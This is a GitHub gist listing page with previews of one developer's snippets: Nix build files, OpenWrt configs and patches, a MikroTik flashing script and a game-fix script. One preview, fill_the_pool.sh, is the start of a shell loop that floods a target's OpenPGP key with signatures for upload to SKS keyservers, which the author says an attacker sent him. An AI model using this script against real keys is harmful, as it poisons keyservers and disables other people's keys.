Skip to content

Instantly share code, notes, and snippets.

🏴
If nature is unjust, change nature.

Yegor Timoshenko yegortimoshenko

🏴
If nature is unjust, change nature.
Block or report user

Report or block yegortimoshenko

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View COPYING
Redistribution and use in any form, with or without modification, are permitted.
This software is provided "as is", without warranty of any kind, including all
implied warranties of merchantability and fitness. In no event shall the authors
be liable for any claim, damages or other liability, whether in an action of
contract, tort or otherwise, arising out of or in connection with the use or
performance of this software.
View rust.nix
{ pkgs ? import ./pkgs.nix {} }:
with pkgs.pkgsStatic;
let
fetchCargo = callPackage <nixpkgs/pkgs/build-support/rust/fetchcargo.nix>;
rustBeta = with buildPackages; rust.packages.stable.overrideScope' (final: previous: {
cargo = (previous.cargo.override {
inherit (rust.packages.stable) rustPlatform;
View default.nix
with import <nixpkgs> {};
stdenv.mkDerivation rec {
name = "cloudi-${version}";
version = "1.7.5";
src = fetchzip {
url = "https://osdn.net/dl/cloudi/${name}.tar.gz";
sha256 = "0aj0rwzfyad99gnm27km705ba46nsdy1ww87qgk3cfpi0017wx86";
};
@yegortimoshenko
yegortimoshenko / fill_the_pool.sh
Last active Jul 8, 2019
SKS exploit that was sent to me by attacker behind https://news.ycombinator.com/item?id=20312826
View fill_the_pool.sh
for _ in {1..500}; do
for _ in {1..100}; do
gpg --gen-key --batch keygen
gpg --quick-sign-key -u Marc EC18257DB21746FC711054BEB19C61D61333360C
rm ~/.gnupg/private-keys-v1.d/*.key
done
rm ~/.gnupg/openpgp-revocs.d/*.rev
gpg -a --export > ~/Desktop/keyblock.asc
View configuration.nix
{ pkgs, ... }:
{
service.hydra.package = with pkgs; hydra.overrideAttrs (super: {
patches = [ (fetchpatch {
url = "https://gist.githubusercontent.com/yegortimoshenko/6d78a4fbc7b5b21234d298b3ce53ea68/raw/4193a6e9b280582a1b1265095734ece333d6719b/hydra-no-restrict-eval.diff";
sha256 = "16gwlsr6azwxj9q0b38kkb52xwc2h7ncahymdkdcrm8046naxj6k";
}) ];
});
}
View flash-mikrotik
#!/bin/sh
# First, open Advanced Networking app and set static 192.168.1.10/24 IP address
# to the Ethernet interface you're going to use below. To activate network boot,
# hold router's reset button for 5 seconds.
if [ -z "$2" ]; then
echo "Usage: $0 <if> <fw>"
exit 1
fi
View nix-base32.cpp
#include <iostream>
#include <string>
using namespace std;
unsigned int hashLength32(string hash) {
return (hash.length() * 8 - 1) / 5 + 1;
}
// omitted: E O U T
View rb951g-2hnd.diff
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb95x.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb95x.c
index 33c4f53133..c4cf5f12a8 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb95x.c
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb95x.c
@@ -266,6 +266,7 @@ static void __init rb951g_setup(void)
return;
ath79_setup_ar934x_eth_cfg(AR934X_ETH_CFG_RGMII_GMAC0 |
+ AR934X_ETH_CFG_RXD_DELAY |
AR934X_ETH_CFG_SW_ONLY_MODE);
@yegortimoshenko
yegortimoshenko / config.seed
Last active Apr 11, 2019
OpenWrt .config for Zyxel Keenetic (w/ LuCI)
View config.seed
CONFIG_TARGET_ramips=y
CONFIG_TARGET_ramips_rt305x=y
CONFIG_TARGET_ramips_rt305x_DEVICE_kn=y
CONFIG_CLEAN_IPKG=y
CONFIG_LUCI_SRCDIET=y
# CONFIG_PACKAGE_kmod-ppp is not set
CONFIG_PACKAGE_libiwinfo-lua=y
CONFIG_PACKAGE_liblua=y
CONFIG_PACKAGE_liblucihttp=y
CONFIG_PACKAGE_liblucihttp-lua=y
View divinity-original-sin-2.sh
#!/bin/sh
STEAM_PATH=$HOME/.steam/debian-installation
cd "$STEAM_PATH/steamapps/common/Divinity Original Sin 2"
rm -r bin
ln -s DefEd/bin .
rm bin/SupportTool.exe
You can’t perform that action at this time.